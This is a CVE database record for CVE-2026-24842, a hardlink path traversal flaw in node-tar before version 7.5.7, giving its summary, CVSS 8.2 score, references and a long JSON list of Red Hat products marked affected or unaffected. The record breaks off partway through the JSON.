Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-24842 (GCVE-0-2026-24842)
Vulnerability from cvelistv5 – Published: 2026-01-28 00:20 – Updated: 2026-07-20 12:04
VLAI
EPSS
VEX
Title
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
Summary
node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.
Severity
8.2 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
11 references
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | x_refsource_MISC |
| https://access.redhat.com/security/cve/CVE-2026-24842 | vdb-entryx_refsource_REDHAT |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | issue-trackingx_refsource_REDHAT |
| https://security.access.redhat.com/data/csaf/v2/v… | x_sadp-csaf-vex |
| https://access.redhat.com/errata/RHSA-2026:33371 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18480 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:18868 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:2900 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:6192 | vendor-advisoryx_refsource_REDHAT |
| https://access.redhat.com/errata/RHSA-2026:5447 | vendor-advisoryx_refsource_REDHAT |
Impacted products
33 products
| Vendor | Product | Version | |
|---|---|---|---|
| isaacs | node-tar |
Affected:
< 7.5.7
|
|
| Red Hat | Red Hat Enterprise Linux 10 |
Unaffected:
0:2.26-7.el10 , < *
(rpm)
cpe:/o:redhat:enterprise_linux:10.2 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
Unaffected:
0:2.26-7.el9 , < *
(rpm)
cpe:/a:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 |
Unaffected:
0:7.3.18-3.GA_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7 |
|
| Red Hat | Network Observability (NETOBSERV) 1.11.2 |
Unaffected:
1771227610 , < *
(rpm)
cpe:/a:redhat:network_observ_optr:1.11::el9 |
|
| Red Hat | Network Observability (NETOBSERV) 1.11.2 |
Unaffected:
1771227650 , < *
(rpm)
cpe:/a:redhat:network_observ_optr:1.11::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1774448966 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat OpenShift Dev Spaces 3.27 |
Unaffected:
1774476526 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.27::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
Unaffected:
1773308315 , < *
(rpm)
cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4 |
|
| Red Hat | Logging Subsystem for Red Hat OpenShift |
cpe:/a:redhat:logging:5 |
|
| Red Hat | Multicluster Engine for Kubernetes |
cpe:/a:redhat:multicluster_engine |
|
| Red Hat | Red Hat 3scale API Management Platform 2 |
cpe:/a:redhat:red_hat_3scale_amp:2 |
|
| Red Hat | Red Hat Advanced Cluster Management for Kubernetes 2 |
cpe:/a:redhat:acm:2 |
|
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7 |
|
| Red Hat | Red Hat build of Apache Camel - HawtIO 4 |
cpe:/a:redhat:apache_camel_hawtio:4 |
|
| Red Hat | Red Hat Developer Hub |
cpe:/a:redhat:rhdh:1 |
|
| Red Hat | Red Hat Enterprise Linux 10 |
cpe:/o:redhat:enterprise_linux:10 |
|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:enterprise_linux:6 |
|
| Red Hat | Red Hat Enterprise Linux 7 |
cpe:/o:redhat:enterprise_linux:7 |
|
| Red Hat | Red Hat Enterprise Linux 8 |
cpe:/o:redhat:enterprise_linux:8 |
|
| Red Hat | Red Hat Enterprise Linux 9 |
cpe:/o:redhat:enterprise_linux:9 |
|
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7 |
|
| Red Hat | Red Hat Hardened Images |
cpe:/a:redhat:hummingbird:1 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 7 |
cpe:/a:redhat:jboss_enterprise_application_platform:7 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8 |
|
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp |
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai |
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4 |
|
| Red Hat | Red Hat Openshift Data Foundation 4 |
cpe:/a:redhat:openshift_data_foundation:4 |
|
| Red Hat | Red Hat OpenShift Dev Spaces |
cpe:/a:redhat:openshift_devspaces:3 |
|
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7 |
|
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-24842",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-28T14:55:08.552380Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-28T14:56:10.317Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10.2"
],
"defaultStatus": "affected",
"packageName": "linux-sgx",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.26-7.el10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"packageName": "linux-sgx",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.26-7.el9",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-wildfly",
"product": "Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:7.3.18-3.GA_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-compat-rhel9",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1771227610",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"packageName": "network-observability/network-observability-console-plugin-rhel9",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1771227650",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/code-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1774448966",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.27::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/dashboard-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.27",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1774476526",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1.3::el9"
],
"defaultStatus": "affected",
"packageName": "rhtas/rekor-search-ui-rhel9",
"product": "Red Hat Trusted Artifact Signer 1.3",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1773308315",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"packageName": "io.cryostat-cryostat",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch6-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-operator-bundle",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-proxy-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/elasticsearch-rhel9-operator",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/kibana6-rhel8",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"packageName": "openshift-logging/logging-curator5-rhel9",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"packageName": "multicluster-engine/console-mce-rhel8",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"packageName": "multicluster-engine/console-mce-rhel9",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp20/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp21/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp22/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp24/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp25/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp26/system",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel7",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel8",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"packageName": "3scale-amp2/system-rhel9",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/console-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/volsync-operator-bundle",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"packageName": "rhacm2/volsync-rhel9",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "unaffected",
"packageName": "org.jolokia-jolokia-parent",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"packageName": "rhdh/rhdh-hub-rhel9",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "nodejs22",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "nodejs24",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:6"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:7"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "mozjs60",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:20/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:22/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:24/nodejs",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "gjs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "grafana",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:20/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:22/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "nodejs:24/nodejs",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "polkit",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.apicurio-apicurito",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.hawt-hawtio-online",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.hawt-project",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "io.syndesis-syndesis-parent",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"packageName": "tar",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.jboss.hal-hal-parent",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"packageName": "io.hawt-project",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-data-science-pipelines-argo-argoexec-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-kf-notebook-controller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-notebook-controller-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "openshift4/ose-console-rhel9",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"packageName": "rhcos",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/mcg-core-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/ocs-client-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"packageName": "odf4/odf-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "unaffected",
"packageName": "odf4/odf-multicluster-console-rhel9",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/code-sshd-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "unaffected",
"packageName": "devspaces/machineexec-rhel9",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.kie.workbench-kie-wb-common",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"packageName": "org.uberfire-uberfire-parent",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "unaffected",
"packageName": "org.keycloak-keycloak-parent",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
}
],
"datePublic": "2026-01-28T00:20:13.261Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-20T12:04:56.380Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"name": "RHBZ#2433645",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"tags": [
"x_sadp-csaf-vex"
],
